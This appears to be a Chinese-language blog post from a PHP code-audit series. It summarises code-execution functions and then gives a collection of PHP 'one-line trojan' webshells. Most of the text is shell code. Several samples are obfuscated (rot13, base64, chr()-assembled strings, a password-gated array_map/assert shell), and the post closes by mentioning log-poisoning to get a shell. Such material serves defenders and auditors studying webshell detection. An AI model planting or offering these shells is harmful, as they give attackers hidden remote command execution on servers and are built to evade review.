PHP程式碼審計之路——5.程式碼執行及一句話木馬總結
阿新 • • 發佈:2019-01-31
- mixed eval ( string $code )
- bool assert ( mixed $assertion [, string $description ] ) PHP 5
- bool assert ( mixed $assertion [, Throwable $exception ] ) PHP 7
- array array_map ( callable $callback , array $array1 [, array $... ] )
- array_map():返回陣列,是為 array1 每個元素應用 callback函式之後的陣列。 callback 函式形參的數量和傳給 array_map() 陣列數量,兩者必須一樣。
- mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
- mixed call_user_func_array ( callable $callback , array $param_arr )
- string create_function ( string $args , string $code )
- mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
2. assert<?php eval(str_rot13('riny($_CBFG[cntr]);'));?> #page <?php $c = str_replace('b', '', '_bbPbbbbObSbbbbbTbbb');$a = $$c;eval($a['mima']);?>
assert($_POST[c]);
或者
assert('assert(eval($_POST[page]));');//必須single-queto
assert('eval($_POST[page]);');//必須single-queto
3.call_user_func、call_user_func_array
call_user_func('assert', "phpinfo()");
call_user_func(base64_decode('YXNzZXJ0'), "phpinfo()");
call_user_func_array('assert',array('system(dir)'));
4.array_map
<?php array_map("as\x73\x65rt",(array)$_REQUEST['caidao']);?>
<?php
strcasecmp(md5($_GET['qid']),'aaa1fb894b5716d60771e6f230b67e6c')?array_map("as\x73ert",(array)$_REQUEST['caidao']):next;
?>
abcleo 5. create_function
<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?>
簡單翻譯 $_uU=chr; $_cC=eval(_POST[1]); $_fF=create_function; $_=create_funtion("",$cC); @$_(); 6.變數
@$_GET[a]($_GET[b]);
7. preg_replace
preg_replace('/some/e',$_POST[c],'some');
如有興趣深入,推薦文章
題外話,還有更好玩的,利用LFI及各種日誌檔案,如apahce acces日誌來get shell,有空再寫,別忘記了。